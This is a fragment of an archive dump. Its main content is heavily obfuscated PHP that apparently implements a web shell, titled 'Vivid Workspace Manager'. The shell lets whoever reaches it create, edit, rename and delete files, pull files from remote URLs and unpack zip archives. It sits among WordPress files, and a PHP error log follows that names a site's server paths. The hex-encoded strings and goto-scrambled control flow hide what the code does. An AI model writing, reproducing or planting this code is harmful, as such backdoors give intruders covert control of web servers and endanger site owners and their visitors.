!empty($_POST["\x69\x74\x65\155\137\156\x61\x6d\145"]))) { goto yHBos; } goto i0Qo7; cfqQy: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto xAZme; MELp7: $HcnX3->close(); goto U2HJ2; r8J0S: TNzCi: goto TaXVZ; sskkE: echo "\x22\x20\x63\154\x61\163\x73\75\42\x74\145\170\x74\55\166\x69\x76\151\x64\55\164\145\x61\154\40\150\x6f\x76\x65\162\72\x75\x6e\144\x65\162\154\x69\x6e\x65\x22\x3e\x2e\56\40\x28\120\141\162\145\x6e\164\x20\x57\157\162\153\x73\x70\x61\x63\145\x29\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\74\164\x64\x20\143\154\141\x73\x73\x3d\x22\160\x2d\64\x22\76\x2d\74\x2f\164\x64\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\164\144\x20\143\x6c\x61\x73\163\x3d\x22\160\x2d\64\42\x3e\55\x3c\x2f\x74\144\x3e\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x70\x2d\x34\x22\x3e\x2d\74\57\x74\144\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\74\164\144\x20\143\154\141\163\x73\x3d\x22\160\x2d\x34\x22\x3e\55\74\57\x74\144\x3e\15\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\42\160\x2d\x34\x22\x3e\74\57\x74\x64\x3e\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\162\76\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20"; goto Zrf0Y; mU9_h: s77P6: goto HJ2Jy; npAQS: echo "\xd\xa\x3c\x21\104\x4f\103\x54\131\x50\105\40\x68\x74\x6d\154\x3e\15\12\x3c\150\x74\155\154\x20\154\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\12\74\x68\145\141\x64\x3e\xd\12\x20\x20\x20\x20\74\x6d\x65\164\141\40\x63\x68\141\x72\x73\145\x74\75\x22\125\x54\106\x2d\70\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\145\164\x61\x20\156\x61\155\145\x3d\x22\166\151\145\167\160\157\x72\x74\42\x20\143\157\156\164\x65\x6e\164\75\x22\x77\151\x64\x74\x68\75\x64\145\x76\x69\x63\x65\55\x77\151\144\x74\x68\x2c\40\151\x6e\151\x74\x69\141\x6c\x2d\x73\x63\x61\x6c\x65\75\x31\56\x30\x22\x3e\15\xa\x20\40\40\40\x3c\x74\x69\x74\154\145\76\x56\x69\166\151\x64\x20\x57\157\162\153\x73\160\x61\143\x65\40\115\x61\156\141\147\x65\x72\x3c\57\164\x69\164\x6c\145\76\15\12\40\40\40\40\x3c\163\143\x72\x69\160\x74\x20\163\x72\143\x3d\42\x68\164\x74\x70\163\72\x2f\x2f\x63\144\156\x2e\164\141\x69\154\x77\x69\x6e\144\x63\163\x73\x2e\143\157\x6d\42\x3e\x3c\57\163\x63\162\x69\160\x74\76\15\12\40\40\40\40\x3c\163\143\x72\151\160\164\x20\x73\x72\x63\x3d\x22\150\164\x74\160\x73\x3a\x2f\x2f\x6b\151\164\56\x66\x6f\x6e\x74\x61\x77\145\x73\157\x6d\145\56\143\x6f\155\57\x61\x30\x37\x36\144\x30\65\x33\71\71\56\x6a\163\42\40\143\x72\157\163\x73\x6f\x72\x69\x67\x69\156\75\x22\x61\156\x6f\156\171\155\157\165\x73\x22\76\74\57\x73\143\x72\151\x70\164\x3e\xd\xa\x20\40\40\40\x3c\163\x74\x79\154\x65\x3e\15\12\x20\40\x20\40\x20\40\40\40\x2e\142\x67\x2d\x76\x69\x76\x69\144\55\x73\x6c\141\164\x65\x20\x7b\x20\x62\x61\x63\153\x67\x72\157\x75\156\x64\x2d\143\157\x6c\x6f\x72\72\40\43\x65\x32\x65\x38\x66\60\x3b\x20\x7d\xd\12\x20\x20\x20\40\40\x20\40\40\56\x62\x67\55\166\x69\166\x69\144\55\164\145\x61\154\40\173\x20\x62\141\x63\x6b\147\162\157\165\x6e\x64\55\x63\x6f\154\157\162\72\40\x23\61\x34\142\x38\x61\66\x3b\40\x7d\xd\xa\x20\40\x20\40\40\x20\x20\x20\56\142\x67\55\166\151\x76\151\x64\55\x74\145\x61\154\x2d\144\141\x72\153\40\x7b\40\x62\141\143\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\162\72\x20\43\60\146\67\x36\x36\x65\73\40\175\xd\12\40\40\x20\40\x20\40\40\x20\x2e\164\145\x78\164\55\166\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\x6c\40\x7b\x20\x63\157\154\x6f\x72\x3a\40\x23\x31\61\x31\70\x32\x37\x3b\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\x20\x2e\166\151\166\x69\x64\55\x74\162\141\x6e\163\x69\164\151\157\x6e\40\x7b\x20\164\162\141\x6e\163\151\x74\151\157\x6e\72\40\x61\154\154\40\60\x2e\63\163\40\x65\141\x73\145\x2d\x69\156\x2d\157\x75\x74\73\x20\175\15\xa\40\40\x20\40\x20\x20\40\40\x2e\x76\151\x76\x69\x64\55\x68\x6f\x76\x65\162\40\x7b\40\x74\x72\x61\x6e\x73\151\x74\151\x6f\x6e\x3a\x20\164\162\x61\x6e\x73\x66\157\x72\x6d\40\60\x2e\x32\x73\54\x20\142\157\x78\x2d\163\x68\141\144\157\167\x20\60\56\x32\x73\73\40\175\15\xa\40\40\x20\40\x20\40\40\40\x2e\166\x69\x76\x69\144\55\150\157\x76\145\x72\x3a\x68\157\166\145\162\40\x7b\x20\164\162\x61\156\163\146\157\162\155\x3a\x20\x74\162\x61\156\163\154\141\x74\x65\x59\x28\55\62\x70\x78\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\x20\64\160\170\40\x36\160\x78\40\162\147\x62\141\50\x30\x2c\x20\x30\x2c\40\x30\54\x20\x30\56\61\51\x3b\40\x7d\xd\xa\40\40\x20\40\x20\x20\40\40\56\x73\x74\151\x63\x6b\171\55\x68\x65\141\x64\x65\162\40\164\x68\x20\x7b\40\160\x6f\x73\151\164\x69\157\x6e\72\x20\x73\164\x69\143\x6b\x79\x3b\x20\164\157\160\72\40\x30\x3b\40\142\x61\x63\153\147\162\x6f\165\x6e\144\x3a\x20\43\x66\x33\x66\x34\x66\x36\x3b\40\172\55\x69\156\x64\x65\170\x3a\40\x31\x30\73\x20\x7d\xd\xa\40\40\x20\x20\x3c\57\x73\164\171\x6c\x65\76\15\xa\x3c\x2f\x68\145\x61\x64\76\15\xa\x3c\x62\157\144\x79\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\147\55\x76\151\x76\x69\x64\55\163\x6c\x61\164\145\x20\155\151\x6e\x2d\150\55\x73\x63\162\145\145\156\42\76\xd\12\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\156\164\141\151\x6e\x65\x72\x20\155\170\55\141\165\164\x6f\x20\160\55\x36\x22\x3e\xd\xa\40\x20\40\40\x20\x20\40\x20\74\150\x31\x20\143\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x34\170\154\x20\146\157\156\164\55\x62\157\x6c\x64\40\155\142\x2d\x38\x20\x74\x65\170\164\55\x76\x69\x76\151\x64\x2d\x63\x68\x61\x72\143\157\141\154\42\x3e\126\151\166\151\144\40\127\157\x72\153\x73\x70\141\x63\x65\40\115\141\x6e\141\x67\x65\x72\74\57\x68\61\76\xd\12\xd\12\x20\x20\x20\x20\x20\40\x20\x20\74\x21\55\55\x20\x50\x61\x74\x68\x20\x43\x72\165\x6d\x62\x73\x20\x2d\x2d\x3e\15\12\40\40\40\x20\x20\40\40\x20\x3c\156\x61\166\40\x63\154\x61\x73\163\x3d\42\x6d\x62\x2d\66\40\x74\145\170\164\x2d\x6c\x67\40\x66\x6c\x65\170\x20\151\164\145\155\163\55\x63\145\x6e\x74\x65\x72\x22\x3e"; goto pT5Cn; mGJZ_: echo htmlspecialchars($DKH4N); goto OEbq_; xNlQn: KXaXc: goto fP2_W; Bdm1a: $Vjqae = strtolower(pathinfo($XSEgQ, PATHINFO_EXTENSION)); goto yH4Cb; OPJ29: $DKH4N = "\106\141\x69\154\145\x64\x20\164\x6f\x20\x63\x72\145\141\x74\145\40\146\151\x6c\145\x2e"; goto GpF7q; FZOWP: goto wU4e6; goto R7O4_; rAymK: goto QuW09; goto P9s45; MYnzS: if (!($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x4d\105\x54\x48\117\104"] === "\x50\117\x53\x54" && isset($_POST["\143\163\x72\x66\x5f\x74\157\153\145\x6e"]) && $_POST["\143\x73\162\x66\x5f\164\157\x6b\x65\156"] === $_SESSION["\143\x73\x72\146\x5f\x74\157\153\x65\156"])) { goto T0tH9; } goto X174h; AeSrz: $AUqcU = @file_get_contents($MhPPM); goto H5acy; efl0n: echo "\42\x3e\xd\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\74\x69\156\x70\165\164\x20\x74\x79\160\145\75\42\150\x69\x64\x64\145\x6e\42\x20\151\144\75\x22\x65\144\151\x74\x49\x74\x65\x6d\116\141\155\x65\42\40\x6e\141\x6d\x65\75\42\x69\164\145\x6d\137\x6e\x61\x6d\x65\x22\76\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x3c\164\145\x78\x74\x61\162\x65\141\x20\151\x64\x3d\x22\145\x64\151\164\111\x74\145\x6d\103\157\156\x74\x65\x6e\x74\42\40\x6e\x61\155\145\75\x22\x69\x74\145\155\x5f\143\x6f\156\x74\x65\x6e\x74\42\40\x63\154\x61\163\163\x3d\x22\x77\55\x66\x75\x6c\154\x20\x68\x2d\70\x30\40\x70\x2d\x33\x20\x62\157\162\144\145\x72\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\x6c\147\x20\x6d\x62\x2d\x36\x20\146\157\x63\x75\x73\x3a\x6f\165\x74\154\151\156\145\55\x6e\x6f\x6e\x65\40\146\157\x63\x75\x73\x3a\x72\151\156\x67\x2d\62\x20\x66\157\143\165\163\72\162\x69\x6e\147\x2d\x76\x69\x76\151\144\x2d\x74\145\141\x6c\42\76\x3c\x2f\x74\x65\170\164\141\x72\145\141\x3e\xd\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\42\146\x6c\x65\170\40\152\x75\163\x74\151\146\x79\x2d\145\156\x64\x20\x73\x70\141\143\145\55\x78\55\63\42\x3e\15\12\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\x62\165\x74\164\157\x6e\40\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\x6e\x61\155\145\75\x22\155\x6f\x64\x69\146\x79\x5f\x66\151\x6c\x65\42\x20\143\154\141\163\x73\x3d\42\x62\x67\55\x67\x72\145\x65\x6e\x2d\65\x30\60\40\164\145\x78\164\x2d\167\150\151\x74\145\x20\160\x78\55\65\x20\160\171\x2d\62\x20\x72\157\x75\156\x64\x65\144\x2d\x6c\147\x20\150\x6f\x76\145\162\72\142\x67\55\147\x72\x65\x65\x6e\55\x36\60\60\x20\x76\x69\x76\151\144\55\x74\162\x61\x6e\x73\151\x74\151\x6f\x6e\42\x3e\123\141\166\x65\x3c\57\x62\165\x74\x74\x6f\x6e\76\xd\12\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x3c\142\165\164\164\157\156\40\x74\171\160\145\x3d\x22\x62\x75\164\x74\x6f\156\x22\x20\x6f\156\143\154\151\x63\x6b\75\42\x63\154\x6f\163\x65\x44\x69\x61\x6c\157\147\x28\47\x65\144\x69\x74\104\x69\x61\x6c\x6f\147\x27\51\x22\40\143\x6c\141\x73\x73\x3d\x22\x62\x67\55\x67\162\141\171\x2d\x35\x30\x30\40\x74\145\x78\164\55\x77\x68\x69\x74\x65\40\160\170\x2d\65\40\x70\171\x2d\62\40\162\157\x75\156\x64\x65\x64\x2d\154\x67\x20\150\157\166\x65\x72\x3a\x62\x67\x2d\147\162\141\x79\x2d\66\60\60\x20\x76\x69\166\x69\144\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\x22\76\103\x61\x6e\x63\x65\x6c\74\x2f\x62\165\164\x74\x6f\x6e\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x3c\57\144\151\x76\76\15\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\74\x2f\x66\157\x72\155\76\xd\12\x20\x20\40\40\x20\x20\x20\40\74\57\x64\x69\166\76\xd\xa\x20\x20\40\40\x3c\x2f\144\x69\x76\76\xd\12\xd\xa\40\40\x20\x20\x3c\x21\x2d\55\x20\x52\x65\x6e\x61\x6d\x65\x20\x44\151\141\154\157\147\40\55\x2d\x3e\xd\12\x20\40\40\x20\74\x64\x69\166\40\x69\x64\75\x22\x72\x65\x6e\141\155\145\104\151\x61\154\x6f\147\x22\40\x63\154\141\163\163\x3d\x22\x66\151\170\145\144\40\x69\156\x73\145\164\55\x30\40\142\x67\55\147\x72\141\171\55\x36\x30\x30\x20\x62\147\x2d\157\160\x61\143\151\x74\171\55\x35\60\x20\x68\x69\x64\144\145\156\40\x69\164\x65\155\x73\x2d\143\145\156\x74\x65\162\40\152\x75\x73\164\151\x66\x79\55\143\x65\x6e\164\x65\x72\40\x76\151\166\151\144\x2d\164\x72\x61\x6e\x73\x69\164\x69\157\x6e\42\x3e\15\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\142\x67\x2d\167\150\151\164\145\x20\160\x2d\x38\x20\x72\157\x75\156\x64\x65\144\55\170\154\40\x73\x68\x61\x64\x6f\x77\55\x78\154\40\167\55\x66\165\x6c\154\x20\x6d\x61\x78\55\167\55\155\144\40\x74\x72\x61\156\x73\146\x6f\162\x6d\x20\x73\x63\141\154\145\55\71\x35\40\166\151\x76\151\144\55\x74\x72\x61\x6e\163\151\x74\x69\157\156\42\x3e\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\74\x68\62\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\x2d\62\x78\154\x20\x66\157\x6e\x74\55\142\157\154\144\x20\155\x62\x2d\x36\x20\164\145\x78\164\55\166\151\166\x69\144\55\x63\x68\141\x72\x63\157\141\x6c\42\x3e\x52\145\x6e\141\155\145\40\x49\x74\145\155\x3c\57\x68\62\76\15\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x3c\x66\157\162\155\x20\151\x64\x3d\x22\x72\x65\156\141\x6d\x65\x46\x6f\162\155\x22\40\155\x65\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\76\15\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\x6e\141\155\x65\75\42\x63\163\162\146\137\x74\157\x6b\145\156\42\40\x76\x61\154\165\x65\x3d\x22"; goto qhhxa; LRz_K: $DKH4N = "\111\156\x76\x61\x6c\x69\x64\40\x72\x65\155\157\164\x65\x20\x55\122\x4c\56"; goto SRHNn; F7tPf: if (!$aBnyl) { goto bPia2; } goto o7tkz; TuFpl: $DKH4N = "\101\162\143\150\151\x76\145\x20\x6e\157\x74\x20\146\157\165\x6e\x64\x20\157\x72\40\x5a\151\160\101\162\143\x68\151\x76\145\40\x6e\157\164\x20\141\166\141\x69\154\141\x62\154\145\x2e"; goto UdP8y; Kv3l1: if (unlink($xAY2y)) { goto PqdoF; } goto vNZlm; nxE40: T0tH9: goto lT00_; f8J_i: if (!file_exists($mROC6)) { goto dfEiu; } goto iPIq9; j5f23: $k0Bn2 = 10 * 1024 * 1024; goto CDKG1; o7tkz: if (!(!isset($_SESSION["\163\145\143\165\x72\145\137\163\x65\163\163\151\x6f\156"]) || $_SESSION["\x73\145\143\x75\162\x65\137\x73\145\x73\x73\151\157\x6e"] !== true)) { goto we6Y3; } goto KCWei; KsqrH: hViYW: goto qM33z; N3l0l: $_SESSION["\x73\x65\143\x75\x72\x65\137\x73\145\x73\x73\151\x6f\x6e"] = true; goto JENU1; I43Nl: if (!$st1pL) { goto OId96; } goto atiNZ; v4fkp: $N1y8k = $UyGf4 . "\57" . $Nu004; goto grGj9; K2rz_: echo "\42\x3e\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\74\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\150\151\x64\144\x65\156\42\x20\x6e\141\x6d\x65\75\42\x69\x74\x65\x6d\x5f\x6e\x61\x6d\145\42\x20\166\141\154\165\x65\x3d\42\44\173\151\164\x65\155\116\x61\x6d\145\x7d\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\x22\40\156\141\155\145\x3d\x22\x64\145\x6c\x65\164\145\137\151\164\145\155\x22\x20\x76\141\x6c\x75\145\75\42\61\x22\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x60\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x64\x6f\143\165\155\145\156\164\x2e\142\157\144\171\56\141\x70\160\145\x6e\x64\103\150\x69\154\x64\x28\146\157\x72\x6d\51\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\146\x6f\x72\155\x2e\x73\165\x62\155\x69\x74\50\51\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\xd\12\15\12\x20\40\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x6f\x70\x65\x6e\x44\151\141\154\157\x67\50\144\151\x61\x6c\157\147\111\x64\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x63\157\156\x73\164\40\144\x69\141\154\x6f\x67\x20\x3d\40\x64\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\154\145\155\x65\156\164\x42\171\x49\144\x28\x64\x69\141\154\157\x67\111\x64\x29\x3b\xd\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\x64\x69\x61\154\x6f\147\x2e\x63\154\x61\x73\x73\114\151\163\x74\x2e\162\x65\x6d\157\166\145\x28\47\150\x69\x64\144\x65\x6e\x27\x29\73\xd\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\144\x69\141\154\157\147\56\143\154\x61\163\163\114\151\x73\x74\x2e\x61\x64\x64\50\47\146\x6c\145\170\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\163\145\164\124\x69\155\x65\157\x75\x74\x28\x28\51\x20\75\76\x20\x7b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x64\x69\141\154\x6f\x67\x2e\161\x75\145\x72\x79\x53\x65\x6c\x65\x63\164\x6f\x72\x28\x27\56\x74\162\141\156\163\146\x6f\162\155\47\51\56\x63\154\x61\163\163\x4c\x69\x73\164\56\162\x65\x6d\x6f\166\145\50\x27\x73\x63\141\154\x65\x2d\71\65\47\51\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\x2c\40\x31\60\x29\x3b\xd\12\40\x20\x20\x20\x20\x20\x20\40\x7d\15\12\15\12\x20\40\40\x20\40\x20\40\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\143\x6c\x6f\163\145\x44\x69\141\154\157\147\x28\x64\151\141\154\x6f\147\x49\x64\51\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\x63\x6f\x6e\x73\x74\40\144\151\141\154\x6f\x67\x20\x3d\40\144\157\x63\165\x6d\145\156\164\56\147\x65\164\x45\154\x65\155\x65\x6e\164\x42\x79\x49\x64\x28\144\151\141\x6c\x6f\x67\x49\144\x29\73\15\12\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\144\x69\141\x6c\x6f\x67\56\x71\x75\x65\162\x79\123\145\x6c\145\x63\x74\157\162\50\47\x2e\x74\x72\x61\x6e\163\146\157\162\x6d\47\51\56\143\x6c\x61\163\163\x4c\x69\x73\164\56\141\x64\x64\50\47\163\x63\141\x6c\x65\x2d\x39\x35\47\51\73\15\12\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x73\145\164\124\x69\x6d\x65\157\165\x74\50\x28\51\x20\75\76\x20\x7b\xd\12\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\144\x69\x61\154\x6f\x67\x2e\x63\154\141\163\x73\114\x69\163\x74\x2e\141\144\144\x28\x27\150\151\x64\144\145\x6e\47\x29\x3b\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x64\x69\x61\x6c\157\147\x2e\x63\x6c\141\x73\x73\x4c\x69\163\164\56\162\x65\155\x6f\166\145\x28\47\x66\x6c\x65\170\47\51\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\175\54\x20\x33\60\x30\51\x3b\15\12\x20\x20\x20\40\x20\40\40\40\175\15\12\15\xa\x20\x20\x20\40\40\40\x20\x20\x2f\57\40\103\x6c\151\145\156\164\55\x73\x69\144\145\x20\x66\157\162\x6d\40\x76\141\x6c\151\144\x61\164\151\x6f\x6e\15\12\x20\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\x6d\x65\x6e\x74\56\x71\x75\x65\162\x79\x53\x65\x6c\145\x63\x74\x6f\x72\101\x6c\154\50\x27\x66\x6f\162\x6d\47\x29\x2e\146\157\x72\105\x61\143\x68\x28\146\157\x72\x6d\40\x3d\76\x20\x7b\15\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\146\x6f\162\x6d\x2e\141\144\x64\x45\x76\x65\x6e\164\x4c\151\x73\x74\145\156\x65\x72\x28\x27\163\165\x62\155\151\x74\47\54\x20\50\145\x29\40\75\76\x20\173\15\12\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x63\x6f\x6e\163\164\x20\151\x6e\160\165\x74\163\x20\x3d\x20\146\157\x72\x6d\56\x71\165\145\162\x79\x53\x65\154\145\x63\164\157\x72\101\154\x6c\x28\47\x69\156\160\x75\164\x5b\162\145\161\x75\151\162\x65\144\x5d\54\x20\164\145\170\x74\141\x72\x65\141\133\162\x65\x71\x75\151\162\145\144\x5d\47\51\73\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\154\x65\164\x20\166\141\x6c\151\x64\x20\75\x20\164\x72\x75\x65\73\15\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\151\x6e\x70\x75\164\x73\56\x66\157\x72\x45\141\143\150\x28\x69\156\160\x75\x74\40\x3d\76\x20\x7b\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x69\x66\40\x28\x21\151\x6e\160\165\x74\x2e\x76\x61\x6c\165\x65\x2e\164\x72\x69\x6d\50\51\x29\x20\x7b\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\166\141\154\151\144\40\x3d\40\x66\x61\x6c\x73\145\73\15\12\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\151\x6e\160\165\x74\x2e\143\x6c\x61\x73\x73\x4c\x69\163\x74\56\x61\144\x64\50\47\x62\x6f\x72\144\145\x72\55\x72\145\x64\x2d\x35\60\x30\47\51\x3b\xd\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x7d\40\145\154\x73\x65\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x69\x6e\160\165\x74\56\143\x6c\x61\x73\163\x4c\x69\163\164\x2e\x72\x65\155\x6f\166\145\50\47\x62\x6f\x72\x64\x65\162\55\162\145\x64\55\x35\x30\x30\47\x29\x3b\15\xa\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\x7d\xd\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\175\51\x3b\15\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x69\x66\40\x28\41\166\x61\154\151\144\51\40\x7b\15\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\145\56\160\x72\x65\x76\x65\156\164\104\x65\146\141\165\154\164\50\51\73\15\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\141\x6c\145\162\164\x28\47\x50\x6c\145\x61\x73\145\x20\146\151\x6c\x6c\x20\151\156\40\141\154\154\x20\162\x65\161\165\151\x72\145\144\40\x66\x69\145\154\144\163\x2e\47\x29\73\15\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\175\x29\73\15\xa\x20\40\x20\40\40\40\40\x20\x7d\x29\73\xd\xa\40\40\40\x20\x3c\57\163\143\x72\x69\x70\x74\x3e\xd\xa\x3c\57\x62\157\x64\171\x3e\xd\xa\74\57\150\x74\155\x6c\76"; ?>PK&L[1l[urrnamespaced/error_lognu[[17-May-2025 14:39:21 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [17-May-2025 14:54:41 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [17-May-2025 20:15:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [17-May-2025 21:12:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [18-May-2025 01:52:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 [19-May-2025 09:52:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [19-May-2025 12:31:09 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Crypto" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Crypto.php on line 4 [19-May-2025 18:35:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Compat.php on line 4 [04-Jun-2025 14:03:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_File" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php:4 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/File.php on line 4 [04-Jun-2025 15:11:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Compat" not found in 